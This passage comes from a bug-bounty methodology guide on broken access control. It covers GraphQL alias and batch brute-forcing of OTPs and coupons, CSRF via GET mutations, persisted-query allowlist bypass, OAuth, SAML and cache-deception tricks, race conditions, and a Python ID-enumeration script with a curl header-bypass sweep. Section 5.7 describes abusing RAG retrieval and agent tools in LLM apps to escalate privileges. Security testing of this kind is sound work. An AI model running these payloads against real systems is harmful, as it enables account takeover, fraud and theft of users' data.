# Brute force that beats per-REQUEST rate limits (OTP, reset codes, coupons) mutation { a: verifyOtp(code: "0000") { token } b: verifyOtp(code: "0001") { token } c: verifyOtp(code: "0002") { token } # ... alias up to the depth/complexity ceiling — thousands per request } # Aliasing also multiplies BOLA — enumerate users in a single call: { u1: user(id: 1){ email } u2: user(id: 2){ email } u3: user(id: 3){ email } }
GraphQL · array batching (+ race synergy, §2.17)
# Many operations, often ONE authz/rate check for the whole batch. # Redeem a single-use coupon repeatedly before the balance settles: [ {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}, {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"}, {"query":"mutation{ redeemCoupon(code:\"WELCOME\"){ balance } }"} ]

Operation smuggling: directives, persisted queries & CSRF

  • Custom @auth directive gaps. When authorization is a per-field directive, the bug is a single field someone forgot to annotate. Diff sibling fields — one missing @auth is one finding.
  • Persisted-query / APQ allowlist bypass. Apollo's Automatic Persisted Queries send a sha256Hash instead of the query; on PersistedQueryNotFound, many servers accept an arbitrary full query you supply alongside the hash — bypassing a query-allowlist WAF entirely. Register your own hash + malicious query and replay it.
  • operationName confusion. Send a document with multiple operations and control which executes via operationName; auth middleware that inspects only the first operation can be pointed at a benign one while a second runs.
  • CSRF via GET / form-encoding. If the endpoint runs mutations over GET, or accepts application/x-www-form-urlencoded (which skips the CORS pre-flight), any cross-site page can fire state-changing operations with the victim's cookies.
GraphQL · CSRF when GET or form-encoding is accepted
# If the server runs mutations over GET, any cross-site page can trigger them GET /graphql?query=mutation%7BdeleteAccount%7D HTTP/1.1 # Also test Content-Type: application/x-www-form-urlencoded (no pre-flight)

The GraphQL authz testing workflow

  1. Fingerprint the engine with graphw00f — it dictates suggestion, batching, and default-limit behavior.
  2. Recover the schema — introspection if open, else Clairvoyance + JS bundles.
  3. Build the mutation hit-list — every write op is a BFLA candidate. Run each as low-priv, then anonymous.
  4. Hit node() and every by-ID query as user B against user A's (global) IDs — BOLA.
  5. Request sensitive fields on each type and walk nested edges — BOPLA and relationship traversal.
  6. Alias and batch every rate-limited or single-use operation (OTP, reset, coupon, invite) — and cross with the race-condition playbook (§2.17).
  7. Try GET / form-encoded for CSRF and the APQ hash trick for allowlist bypass.
  8. Diff across sessions. Autorize/Auth Analyzer work on GraphQL too — template the request body so every operation is replayed as another identity.
Tooling · GraphQL

graphw00f (engine fingerprint) · InQL (Burp: introspect, generate, scan) · Clairvoyance (schema recovery when introspection is off) · graphql-cop (quick authz/DoS/CSRF audit) · BatchQL (batching & CSRF) · CrackQL (alias/batch brute-forcing) · GraphQL Voyager (relationship visualization).

Why it pays

GraphQL doesn't create new bug classes — it re-introduces the classic ones (BOLA/BOPLA/BFLA) at a layer where the usual HTTP-level checks can't see them. A recurring disclosed shape is a sharing/collaborator mutation that leaks emails or accepts an out-of-scope object ID; even security-focused platforms have shipped exactly this. The §1 mindset transfers cleanly: two accounts, trust nothing the client sends, and test each resolver as the boundary it really is.

2.14 WebSocket & SSE Authorization Hard

HTTP is well-tested; WebSockets often aren't. Common WS auth bugs:

  • Connection authz only. The handshake checks who you are; every subsequent message is trusted. Send messages on behalf of other rooms/channels.
  • Channel subscription bypass. Subscribe to private-user-{other_id} channels — the server enforces nothing.
  • Token in query string. WS tokens often appear in URLs (Referer leak, log leak).
  • Origin not checked. Cross-origin WebSocket Hijacking (CSWSH) — a malicious page opens a WS to the target carrying victim's cookies.
  • Server-Sent Events. Same pattern; subscribe to other users' SSE streams.

2.15 OAuth 2.0 / OIDC / SAML — Federated Auth Bugs Hard

OAuth flows are dense with authorization decisions. The spec is fine; the implementations frequently aren't. Common high-impact bugs:

  • Open redirect_uri. Wildcard or weak matching lets you redirect the auth code to a host you control → ATO via leaked code.
  • Missing/predictable state. Enables CSRF on the callback → attacker links their account to victim's social login.
  • PKCE downgrade. Client supports PKCE but server doesn't enforce it; intercepted code is exchangeable.
  • Scope upgrade. Request a token with extra scopes the user didn't consent to; some servers grant them.
  • Token leakage via Referer. Implicit flow (deprecated, still around) puts the access token in the URL fragment; if any external script loads, it can read the Referer.
  • Code reuse. Authorization codes must be single-use; if they aren't, intercepted codes work twice.
  • OIDC aud claim ignored. ID tokens minted for client A are accepted by client B because the aud claim isn't validated.
  • SAML XML signature wrapping (XSW). Inject a second assertion the application reads while the signature validates the original. Still alive in 2026 in legacy enterprise SAML stacks.
  • SAML NameID confusion. Email-as-NameID lets you assert victim@target.com from an IdP you control if the SP doesn't pin to an IdP per email domain.

2.16 Cache & CDN Authorization Bypass Hard

CDNs cache aggressively. If an authenticated response gets cached and served to other users, you have unintended cross-user disclosure.

  • Web Cache Deception. Request /account.json/nonexistent.css. Backend returns account JSON; CDN sees .css and caches it publicly. Next visitor hits the CDN and reads your data.
  • Cache poisoning via unkeyed header. Unkeyed X-Forwarded-Host influences response content; cache stores the poisoned version for all subsequent requests.
  • Vary header misconfiguration. Response varies by user but cache doesn't include the session cookie in the cache key.
  • Stale-while-revalidate over auth boundary. Logged-out users get cached logged-in responses.
  • Static Path Deception. Map a dynamic, authenticated response onto a URL the cache treats as a static file — e.g. /profile/settings.js where the router serves /profile/settings but the CDN keys on the .js suffix and caches it publicly.
  • Cache Key Confusion. The cache and origin disagree on which parts of the URL are significant (delimiters, path parameters, encoded characters), so a request the origin treats as personalized is stored under a key an attacker — or the next anonymous visitor — can reproduce.
Updated · web cache deception is a live, evolving class

This is one of the fastest-moving corners of BAC. PortSwigger's 2024 research and the DEF CON 32 (2024) talk that named Static Path Deception and Cache Key Confusion systematized the parser-discrepancy approach well beyond the old .css trick. And it's not theoretical: 2025 saw a documented ChatGPT account-takeover built on cache deception chained with delimiter confusion, plus separate reports chaining web cache deception with Client-Side Path Traversal (§2.11) into full ATO. Test the discrepancy directly — append /nonexistent.css, ;.css, %2e%2ejs, and encoded delimiters to authenticated endpoints, then re-request the crafted URL from a clean/anonymous client and watch whether your data comes back from cache.

2.17 Race Conditions in Authorization Hard

Time-of-check/time-of-use bugs in authorization are a fast-growing class. Modern frameworks make concurrent requests easy; modern apps frequently authorize once and forget.

The exploitable patterns

  • Limit-overrun. Single-use coupon redeemed 50 times in parallel. Invite link consumed by 50 users. Voting once enforced per request but bypassable concurrently.
  • Authorization before state mutation. "Is this email yours?" check passes, then ownership is changed mid-flight by another request.
  • State machine skips. Order goes from pending → paid → shipped. Send two concurrent cancel and ship requests; if locking is weak, you ship a cancelled order.
  • Single-packet attack. Last-byte synchronization (Burp Repeater "Send group in parallel" with single-packet) puts dozens of requests on the wire in the same TCP segment — they hit the server within microseconds.
Tool

Burp Repeater's tab group → "Send group in parallel (single connection)" implements James Kettle's single-packet attack. It's the gold standard for race-condition BAC testing.

03Methodology — Hunting at Scale#

Random testing finds random bugs. A repeatable methodology finds the same flaws every time and scales across targets. Here is the workflow professional BAC hunters use.

Phase 1 — Recon & Endpoint Mapping

  1. Scope check. Read the program scope. List in-scope domains, mobile apps, APIs, subdomains. Note explicit exclusions.
  2. Subdomain enumeration. subfinder -d target.com, amass, assetfinder, certificate transparency (crt.sh). Pipe to httpx for liveness.
  3. Tech fingerprinting. wappalyzer, whatweb, nuclei -t technologies/. Identify framework (Rails, Spring, Django, Express, Next.js, etc.) — your attack surface depends on it.
  4. JS bundle extraction. getJS, linkfinder, jsluice. Extract every URL, every API path, every secret-shaped string. Build a target-specific wordlist.
  5. API docs hunt. /swagger, /openapi.json, /docs, /redoc, /api-docs, /graphql, /v1/api-docs, /actuator/mappings.
  6. Wayback & archived endpoints. waybackurls, gau — historical endpoints often still work and often aren't role-gated because they predate the role model.
  7. GitHub recon. Search for the company's name, internal endpoints, leaked tokens. github-dorks, trufflehog.
  8. Mobile & thick-client capture. Proxy the mobile app through Burp/mitmproxy (bypass SSL pinning with objection / Frida where the program permits). Mobile and desktop clients routinely talk to a broader, older API surface than the web app — and it's frequently less authz-tested. See §5.4.

Phase 2 — The Authorization Matrix

This is the single most useful artifact in BAC hunting. Build a table with roles on the X axis and endpoints on the Y axis. Mark intended access; then test actual access.

EndpointAnonUser AUser BAdminNotes
GET /api/users/A403200 ✓200 ✗200 ✓IDOR — B reads A
POST /api/admin/users403403 ✓403 ✓200 ✓OK
PATCH /api/users/me403200 ✓200 ✓200 ✓Mass-assign role? Test.
DELETE /api/teams/X403200 ✗403 ✓200 ✓A not on team X — destructive

Build this table even informally — even a spreadsheet. Patterns jump out: endpoints where a single column breaks the pattern are bug candidates.

Phase 3 — The 7-Phase Hunting Workflow

  1. Provision the lab. Two accounts minimum (A and B), ideally one of every role the app exposes (free, paid, admin, support, guest, viewer, member, owner). Two browsers / two Burp sessions side by side.
  2. Walk the app as A. Burp on. Trigger every action. Catalog every request. Tag identifiers.
  3. Build the endpoint inventory. Combine walked traffic, JS extraction, wordlist discovery, OpenAPI. Deduplicate; categorize by resource and action.
  4. For each endpoint, run the four lenses.
    • Anon: send with no session.
    • Low-priv: send as a different user (B) targeting A's resources.
    • Cross-tenant: send as a user in another org targeting A's org.
    • Field-level: include extra fields (role, tenant_id, is_admin) and see what sticks.
  5. Method matrix. For each endpoint, try every HTTP method (GET/POST/PUT/PATCH/DELETE/HEAD/OPTIONS) and every override header.
  6. Bypass layer. If you hit a 401/403, run the bypass playbook: path tricks, header tricks, cache games, race conditions.
  7. Triage & PoC. For every confirmed finding, write a clean reproducer (curl / Repeater) that demonstrates impact. Then escalate: chain with other bugs, increase blast radius, calculate the financial/data impact.
Stay in bounds · scope & pacing

BAC testing is enumeration-heavy, and enumeration is exactly what an attack looks like. Before you fuzz IDs or sweep endpoints: confirm automated testing is allowed and at what rate, keep strictly to in-scope assets, and cap your ranges — a few hundred IDs proves the bug; you never need to pull the whole table. Use your own second account as the victim, never real users. Excessive automated traffic gets researchers banned and gets real reports closed as out-of-scope. Impact, not volume, is what pays.

04Tooling#

Burp Suite + Essential Extensions

ExtensionWhat it doesWhen to run it
AutorizeReplays every observed request with another session's cookies. Diffs responses to flag suspected authz failures.Always-on while walking the app. Single best ROI extension for BAC.
Auth AnalyzerMore advanced than Autorize: supports multiple sessions, automatic token refresh, body-level comparison.Multi-role apps, OAuth flows, token-refreshing APIs.
AuthMatrixManually-defined role/endpoint matrix; runs the cross-product systematically.When you have a fixed role set and want exhaustive coverage.
JWT EditorDecode, modify, re-sign JWTs in-place; supports HS/RS/EC, none, kid, jku attacks.Any JWT-based target.
Param MinerDiscovers unlinked params and headers via inference (timing/content-length/error oracles).Mass assignment fishing; hidden header trust.
InQLGraphQL endpoint detection, schema introspection, query/mutation generation.Any GraphQL target.
HTTP Request SmugglerTests for desync vulnerabilities — BAC's older cousin, often bypass-adjacent.Whenever there's a reverse proxy in front.
Turbo IntruderHigh-rate concurrent request engine — required for race-condition exploitation.Limit-overrun, TOCTOU, state-machine bugs.
403 Bypasser / Bypass-Url-ParserAutomates every path/header/method trick from §2.6, §2.7 & §2.11.Whenever you see 403/401 and want to verify it's real.

Burp's modern Montoya extension API has produced a fresh wave of smaller, maintainable authz-testing BApps (JWT scanners, session mutators, parameter-swap helpers) alongside the classics above — browse the BApp Store filtered to "authorization" periodically. And Burp Repeater's native "Send group in parallel (single connection)" (shipped 2023.9+) put James Kettle's single-packet race-condition attack behind one right-click — see §2.17.

Beyond Burp · Caido & the core primitive

Caido is a fast, Rust-based Burp alternative that has matured quickly through 2024–2026, with a growing plugin ecosystem and a project-based workflow many hunters now prefer for long engagements — worth trialling alongside Burp. Whatever proxy you pick, the primitive that actually finds BAC is the same: replay a request under a second identity and diff the response. Autorize, Auth Analyzer, and AuthMatrix all implement it; if your tool doesn't, script it (§4 · Custom Scripts). Tools churn; the technique doesn't.

CLI Toolkit

ToolPurpose
ffuf / feroxbusterEndpoint discovery, parameter fuzzing, virtual host enumeration.
httpxBulk HTTP probing — title, status, tech detection.
nucleiTemplated scanner — excellent for the misconfiguration / exposed-panel / known-CVE layer (including the CI/CD CVEs in §6). Know its limit: it's stateless, so it will not find session-dependent IDOR/BOLA. Pair it with a session-diff tool; never treat it as your object-level authz checker.
jwt_toolComprehensive JWT attacks.
graphw00f / graphql-cop / clairvoyanceGraphQL: engine fingerprinting, automated authz/DoS/complexity checks, and schema reconstruction when introspection is off. Add InQL (Burp), BatchQL, GraphCrawler, and CrackQL for batching and brute-force testing.
amass / subfinder / assetfinderSubdomain enumeration.
jsluice / linkfinder / getJSEndpoint extraction from JS bundles.
waybackurls / gauHistorical endpoint discovery.
kiterunner / krAPI-focused content discovery using Swagger-derived wordlists. Excellent for BAC.
arjunHTTP parameter discovery — perfect companion for mass-assignment hunting.
mitmproxyProgrammatic proxy for mobile/IoT traffic interception.

Custom Scripts You'll Write

Pre-built tools cover 80%. The remaining 20% is where bounties live, and it requires you to script. A few patterns every hunter should have ready:

python · ID enumeration with response diffing
import requests, hashlib S = requests.Session() S.cookies["session"] = "YOUR_LOW_PRIV_SESSION" baseline = None for i in range(1, 10000): r = S.get(f"https://app.example.com/api/orders/{i}") h = hashlib.md5(r.content).hexdigest() if baseline is None and r.status_code == 403: baseline = h # 403 page hash if r.status_code == 200 and h != baseline: print(f"[HIT] /api/orders/{i} -> {len(r.content)} bytes")
bash · header bypass sweep
for H in "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For" "X-Real-IP" \ "X-Custom-IP-Authorization" "X-Originating-IP" "X-Remote-IP"; do for V in "127.0.0.1" "localhost" "/admin" "10.0.0.1"; do echo "=== $H: $V ===" curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ -H "$H: $V" https://target.com/admin done done

05Advanced Techniques#

Once you've drained the obvious surface, these are the techniques that turn dead targets into paid reports.

5.1 Chained BAC — combining low-impact bugs into high-impact ones

One IDOR returning email is medium. One IDOR returning the password reset token is critical. The art is chaining: a benign disclosure plus a benign action plus a missing check becomes ATO.

  • Disclosure + Mutation. Read victim's GUID via search autocomplete (low impact alone) → use the GUID in a profile-update IDOR (read-only alone is low) → change their email (chained: full ATO).
  • SSRF + IDOR. Internal admin API requires localhost → SSRF on a separate endpoint lets you call it from inside.
  • Open redirect + OAuth. Open redirect on the target's domain is low; chained into OAuth redirect_uri validation, it's ATO.
  • Cache deception + IDOR. Account page cacheable via cache deception → IDOR fetches victim's view of their own account into the cache → public URL leaks it.

5.2 Microservice Trust Boundary Attacks

Most modern apps are 20+ microservices behind an API gateway. Authorization decisions split across services and a missing check in one service is the bug.

  • Service-to-service header trust. Service A authenticates the user and forwards X-User-Id: 555 to Service B. If you can reach Service B directly (via internal DNS, exposed port, or a misconfigured gateway), you spoof X-User-Id.
  • Internal endpoints leaked through gateway. /internal/* or /_admin/* paths sometimes survive the gateway rewrite.
  • JWT pass-through. Gateway validates JWT and forwards it; downstream service re-uses claims without re-validating signature.
  • Service mesh sidecar bypass. If mTLS is misconfigured (mTLS optional, or weak SPIFFE policy), you reach services directly.

5.3 Logic-flaw BAC

These don't fit a tidy category — they're business-logic bugs that happen to be authorization failures. The category is huge and the payouts are enormous because scanners can't find them.

  • Stale invitation tokens. Invite link emailed to victim@x.com is still valid after recipient changes email or leaves the team.
  • Role-downgrade race. Demote admin → admin is still admin until cache refresh.
  • Negative quantities / amounts. Transfer -100 from victim to attacker.
  • Workflow skip. Order requires owner approval; submit "approved" status directly.
  • Soft-delete IDOR. Deleted records still readable via the trash/history endpoint without ownership check.
  • API versioning rollback. /api/v1/users deprecated and unmaintained but still alive — and lacks the v2 authz model.
  • Sandbox/preview/staging in production. preview.target.com uses the production DB and skips auth.

5.4 Mobile- and Desktop-Client Specific

  • Hardcoded admin tokens. Some mobile apps ship with embedded service tokens for diagnostics. Decompile (apktool, jadx) and search.
  • SSL pinning bypass + intercept. Frida, objection — when intercepted, mobile APIs frequently use a more permissive surface than web.
  • Deep link authorization. Custom URL schemes (app://reset?token=...) often skip the standard auth pipeline.
  • Background sync. Offline-first apps often have a sync endpoint that accepts arbitrary local changes — including changes to resources you don't own.

5.5 Cloud-native BAC

  • Signed URL replay. S3 / GCS / Azure pre-signed URLs valid longer than necessary; once leaked, anyone can read.
  • IAM confused deputy. Service has IAM privileges users don't; coerce it to act on attacker's behalf.
  • Bucket policy gaps. s3:GetObject public on a tenant-segmented bucket.
  • Cognito/Firebase rules misconfiguration. Read/write rules allow auth != null instead of auth.uid == resource.uid.
  • Platform bug vs. customer misconfig — report them differently. A platform isolation defect (like Entra's CVE-2025-55241, §6) is the provider's fault: rare, catastrophic, and reported to the provider. A customer misconfiguration (over-broad IAM binding, a shared BigQuery dataset, a public s3:GetObject on a tenant-segmented bucket) is far more common and usually in scope on the customer's own program. Same symptom — cross-tenant exposure — but the remediation owner, and the right disclosure channel, differ.

5.6 The "Forgotten Surface"

Endpoints that get less attention from the security team than the main app:

  • Email/template-rendering services (track.example.com, e.example.com)
  • File processing services (image resize, PDF gen) — often see the raw URL of the original resource
  • Status / dashboard / metrics endpoints (/metrics, /healthz, /actuator/*)
  • Internal-only CMS (cms.example.com, blog-admin.example.com)
  • Marketing-tag servers (often have auth tokens in plaintext)
  • Legacy redirected hostnames (old.example.com, m.example.com)

5.7 AI- & LLM-Application Authorization Emerging

AI features bolt a new authorization surface onto existing apps, and the access-control checks frequently don't follow the data into the model layer. OWASP's Top 10 for LLM Applications (2025) names several of these directly. The high-value targets:

  • RAG document-level access control (LLM02). Retrieval-augmented generation searches a vector store and feeds matches to the model. If document ACLs aren't enforced at retrieval time, a low-privileged user's query surfaces chunks from documents they can't read — a clean confidentiality break that bypasses the app's normal authz entirely. Test by asking for content you shouldn't have and watching what the model cites.
  • Excessive agency / tool authorization (LLM06). Agentic systems let the model call tools (DB queries, internal APIs, file access). If a tool runs with the app's privileges rather than the user's, prompt-driven requests become a confused-deputy privilege escalation — ask the agent to do something your own account can't, and see whether the tool does it anyway.
  • Embedding & index leakage (LLM08). Vector indexes shared across tenants — or embeddings that encode retrievable source text — can leak other tenants' data through similarity search.
  • Conversation & memory boundaries. Chat history, agent memory, and uploaded-file stores keyed only by a guessable conversation ID are IDOR (§2.1) by another name.
Why it pays

These are classic BAC bugs — missing object-level and function-level checks — wearing new clothes, sitting in fast-shipping AI features that often skipped the authz review the core product got. The mindset from §1 transfers directly: two accounts, trust nothing the client sends, and test the boundary the developer assumed was safe.

5.8 CI/CD & Pipeline Authorization Emerging

OWASP's 2025 refresh added A03 Software Supply Chain Failures, and a large slice of it is really access control at the build layer: who can trigger a pipeline, whose identity a job runs as, and what a job is allowed to read. CI/CD systems are high-value targets because a pipeline usually holds cloud credentials, signing keys, and deploy access — so a build-layer authz bug is a short path to production.

  • Trigger-as-another-user. Pipeline triggers that don't bind to the caller's identity/role let a low-privileged user run jobs — and use job-scoped secrets — as someone else. GitLab CVE-2024-6385 (§6, Critical) is the textbook case.
  • Missing permission checks on plugin/endpoint surfaces. CI platforms are plugin-heavy, and a single plugin that forgets an authz check exposes cross-project data or unintended builds — e.g. Jenkins CVE-2024-23901, where a plugin unconditionally discovered projects shared with the owner group and let an attacker get a crafted pipeline built.
  • Unpinned / mutable action references. Referencing a third-party CI action by a floating tag rather than a pinned commit SHA means whoever controls that tag controls your pipeline — the root cause of the tj-actions/changed-files compromise (CVE-2025-30066, §6). Grep workflows for uses: on mutable tags and over-broad permissions: write-all.
  • Runner / registration-token exposure. Registration tokens and job artifacts that leak across project or scope boundaries let an attacker attach a runner or read another team's build output (cf. GitLab CVE-2022-0735, §6).

06Disclosed Cases & Recurring Patterns#

Studying real BAC is the fastest way to internalize what it looks like in the wild. Each card below is labelled: Documented cards link to a public source you can read in full, with figures only where that source confirms them; Pattern cards describe a recurring, high-value shape of bug without pinning it to a specific unverified report or payout. Treat any dollar figure as indicative of the band these bugs command — not a guarantee. Documented cases lead with the most recent (2024–2026) and run back to the classics.

Microsoft Entra ID · global cross-tenant impersonation Documented

The defining cross-tenant case of the era. Researcher Dirk-jan Mollema found that a legacy Azure AD Graph API accepted unsigned internal "Actor tokens" and never validated that the token's tenant matched the target — allowing impersonation of any user, up to and including Global Administrators, in any Entra ID tenant worldwide. CVE-2025-55241, CVSS 9.8 (CWE-287). Reported Jul 2025 and fixed globally within days; Microsoft reported no in-the-wild abuse. Researcher writeup →

GitLab · trigger a pipeline as another user Documented

CVE-2024-6385 (CVSS 9.8, CWE-284 Improper Access Control). Under certain conditions an attacker could cause a CI/CD pipeline to run as another user — inheriting that user's permissions and job-scoped secrets. A clean build-layer BFLA/impersonation flaw in a supply-chain-critical product; fixed in 16.11.6 / 17.0.4 / 17.1.2. NVD · CVE-2024-6385 →

tj-actions/changed-files · CI supply-chain compromise Documented

CVE-2025-30066. A widely-used GitHub Action's version tags were repointed to malicious code (Mar 2025), exfiltrating CI secrets from any workflow that referenced it by a mutable tag rather than a pinned SHA. Strictly this is embedded-malicious-code (CWE-506), not classic BAC — but it's the canonical illustration of the CI/CD trust-boundary failure now scoped under OWASP A03 (§5.8), and CISA added it to the KEV catalog. NVD · CVE-2025-30066 →

Facebook · Business Manager page takeover Documented

The canonical BAC case study. An IDOR in Business Manager's /business_share/asset_to_agency/ endpoint let a researcher swap parent_business_id, agency_id and asset_id and assign themselves role=MANAGER on any page. Disclosed by Arun Sureshkumar (2016); $16,000. Threatpost →

GitLab · Runner registration-token disclosure Documented

CVE-2022-0735. An unauthorized user could steal CI/CD runner registration tokens via an information-disclosure flaw triggered through quick-action commands — missing authorization with serious blast radius (registered runners execute pipeline jobs). Fixed in 14.6.5 / 14.7.4 / 14.8.2. NVD · CVE-2022-0735 →

HackerOne · The famous $20k, fine print Documented

Often mis-told as an authorization bug. In reality (Nov 2019) a HackerOne analyst pasted a live session cookie into a report reply via a copied curl command; researcher haxta4ok00 reused it to read private reports — $20,000. A real lesson, but a session-handling failure, not a BAC export bug. Graham Cluley →

Async export / report workers losing context Pattern

A high-yield class worth its own test: background jobs (PDF / report / export generation) that authorize the request but run as a privileged worker which fetches data by ID without re-checking ownership. Enumerate job IDs, trigger generation, read other users' output. Lost tenant/session context at the worker boundary is a recurring real bug.

Partner / SSO email-confirmation bypass → ATO Pattern

Marketplaces and partner portals (Shopify among them) have repeatedly paid five-figure bounties when an email-confirmation or identity-merge step is bypassable, letting an attacker bind their session to a victim store/partner and pivot to full takeover via password reset. Test every "add / confirm email" and partner-invite flow for missing ownership checks.

Client-supplied role trusted by the API Pattern

An endpoint accepts role, is_admin or a tier field from the client and trusts it server-side, returning higher-privileged responses (often including other users' PII). The mass-assignment sibling of vertical priv-esc (§2.8). Replay every role-bearing write with elevated field values.

Cross-tenant export via unauthorized job ID Pattern

The SaaS goldmine (§2.10). Export / download endpoints that authorize only on the existence of a globally-unique job ID — not on tenant ownership — let one workspace download another's export. Async export pipelines are especially prone to dropping tenant context. Consistently a five-figure class in B2B SaaS.

Pre-account-takeover via unverified email merge Pattern

Attach an unverified email/identifier to an account before the real user exists; when they later sign up (often via SSO), the identities merge and the attacker retains access. A well-known "pre-account-takeover" class affecting identity-merge logic across many platforms.

Over-broad role check across scopes Pattern

An authorization check confirms you hold a role somewhere ("is a moderator of any subreddit") instead of here ("moderates this one"), exposing other scopes' data — mod logs, modmail, internal notes. ReBAC and "team member" models are especially prone. Always test the resource-specific boundary, not just role membership.

Where to keep reading

Full-detail disclosures: HackerOne Hacktivity (filter to IDOR / privilege escalation), Bugcrowd Crowdstream, and Pentester Land's "List of bug bounty writeups". Methodology & labs: PortSwigger Web Security Academy and OWASP's API Security Top 10 (2023) — essentially "BAC: the API edition" (BOLA, BFLA, BOPLA). Channels: InsiderPhD, NahamSec, 0xPatrik.

07Reporting Playbook#

A well-written report is the difference between a $500 medium and a $5,000 high. Triagers process dozens of reports a day; if yours is unclear, ambiguous, or unprovable, you lose. The template below is what gets paid.

The report skeleton

  1. One-sentence summary. "Authenticated users can read arbitrary other users' invoices via GET /api/v2/invoices/{id} due to missing ownership check."
  2. Severity & CVSS. Compute CVSS v3.1 (and v4.0 if the program uses it). Show the vector string. Be honest — inflated scores get downgraded and burn trust.
  3. Vulnerability class. Reference the specific CWE — CWE-639 (IDOR), CWE-862 (missing authz), CWE-863 (incorrect authz), CWE-285 (improper authz), CWE-915 (mass assignment) — plus OWASP A01:2025 (MITRE category CWE-1436). For API targets, map to BOLA / BFLA / BOPLA from the API Security Top 10 (2023); triagers score these faster when the mapping is explicit.
  4. Steps to reproduce. Numbered, minimal, with both test-account identifiers visible. Use curl commands the triager can paste.
  5. Proof. Screenshots of two-account demonstration (victim's data in attacker's session). Redact only what you must.
  6. Impact. What can the attacker actually do? Quantify: how many users affected, what data is exposed, what financial impact, what regulatory implications (GDPR, HIPAA, SOX).
  7. Remediation suggestion. One or two sentences. Shows good faith and helps the engineer fix it.
  8. References. CWE link, OWASP cheat sheet, related disclosed reports.

CVSS scoring guidance for BAC

Most programs still expect CVSS v3.1, but v4.0 (published by FIRST in November 2023) is increasingly requested — quote whichever the program uses. Adoption is real but partial: NVD and the CVE program support v4.0 in their tooling, yet v3.1 still dominates by volume and only a minority of published CVEs carry a v4.0 vector. Note too that since April 2026 NIST fully enriches only a fraction of new CVEs and defers to the submitting CNA's own score — so expect more vendor-supplied vectors and fewer NVD-assigned ones. The biggest modeling change for BAC: v4.0 retires the Scope metric and instead splits impact between the Vulnerable System (VC/VI/VA) and any Subsequent System (SC/SI/SA). So a v3.1 "scope change" (the classic cross-tenant case) is now expressed as elevated SC/SI/SA. v4.0 also adds Attack Requirements (AT) and splits User Interaction into none / passive / active.

ScenarioCVSS v3.1CVSS v4.0 (Base)Severity
Unauthenticated read of arbitrary user PII7.5 (AV:N/AC:L/PR:N/UI:N/C:H)8.7 HighHigh
Authenticated cross-user read of PII (IDOR)6.5 (AV:N/AC:L/PR:L/UI:N/C:H)7.1 HighMedium-High
Cross-user mutation (modify another user's profile/order)8.1 (... I:H)7.1 HighHigh
Cross-user destructive (delete)8.1+ (... A:H)7.2 HighHigh
Vertical priv-esc to admin8.8+ (... C:H/I:H/A:H)9.4 CriticalCritical
Cross-tenant read in B2B SaaS9.0+ (S:C scope-change)8.3 HighCritical
Full account takeover via BAC chain9.0–9.89.3 CriticalCritical

Paste-ready CVSS v4.0 base vectors

CVSS:4.0 · verify in the FIRST calculator
# Unauthenticated read of arbitrary PII — 8.7 High CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N # Authenticated cross-user read / IDOR — 7.1 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N # Cross-user mutation (modify another user's record) — 7.1 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N # Cross-user destructive delete — 7.2 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N # Vertical privilege escalation to admin — 9.4 Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H # Cross-tenant read in B2B SaaS (authenticated) — 8.3 High CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N # Full account takeover via BAC chain — 9.3 Critical CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v4.0 · modeling notes

† Cross-tenant: scored as an authenticated tenant user (PR:L) breaching another tenant, modeled as Subsequent-System confidentiality SC:H (the v4.0 stand-in for v3.1's S:C). If the read is unauthenticated (PR:N) the same shape reaches 9.2 Critical, and breadth across every customer usually raises the Threat/Environmental score further.

Scores above were computed with the official FIRST v4.0 algorithm. Always re-confirm in the FIRST CVSS v4.0 calculator before submitting — a single step in VC or SC can move a finding across a severity band.

Common triage failure modes (and how to avoid them)

  • "This is intended behavior." The triager couldn't reproduce, OR they think the resource is meant to be public. Pre-empt by including ToS/UI screenshots showing it isn't.
  • "Need authenticated session." Authenticated BAC is still BAC. Document the realistic attacker model: signing up is free.
  • "Self-XSS / self-IDOR." Make sure your PoC clearly involves two accounts and proves the boundary crossing.
  • "Duplicate." Be the first. Even when not, ask whether your variant exploits a different code path — sometimes the original was fixed but yours wasn't.
  • "Out of scope." Read scope carefully; if BAC affects an in-scope asset via an out-of-scope one, the impact is still in scope.
PoC discipline

Use your own second account as the victim. Never test against real users without authorization. If the bug requires the victim to take an action, build it into a benign demo (your own browser, your own click).

08Defense — Context for Reports#

You're not a defender, but understanding the fix makes your reports better and your conversations with security teams more credible.

  • Deny by default. Every endpoint should require an explicit allow.
  • Centralize policy. Use a single policy engine (OPA, Cedar, Casbin, Auth0 FGA, SpiceDB) rather than scattering if checks across the codebase.
  • Authorize on the resource, not just the role. "Is the caller an admin?" is incomplete — should be "is the caller authorized for this specific resource?"
  • Field-level allowlists for writes. Never bind a request body directly to a model.
  • Tenant context as a first-class principle. Every query in a multi-tenant app should filter by tenant at the lowest layer (row-level security in DB).
  • Re-validate at every trust boundary. Microservices, queues, workers, webhooks — each is a boundary.
  • Test authz with the same rigor as the rest of the stack. Contract tests per endpoint per role.
  • Log + alert on authz failures. A spike in 403s is a fingerprint of someone testing.
  • Carry authz into the AI layer. Enforce document ACLs at RAG retrieval time, and run agent tools with the user's privileges, not the application's — the checks must follow the data into the model (§5.7).
  • Treat the pipeline as production. Pin CI actions to commit SHAs, scope job tokens to least privilege, bind pipeline triggers to caller identity, and isolate runners per project (§5.8).

09The Cheat Sheet#

Top 30 endpoints to always test

High-yield paths
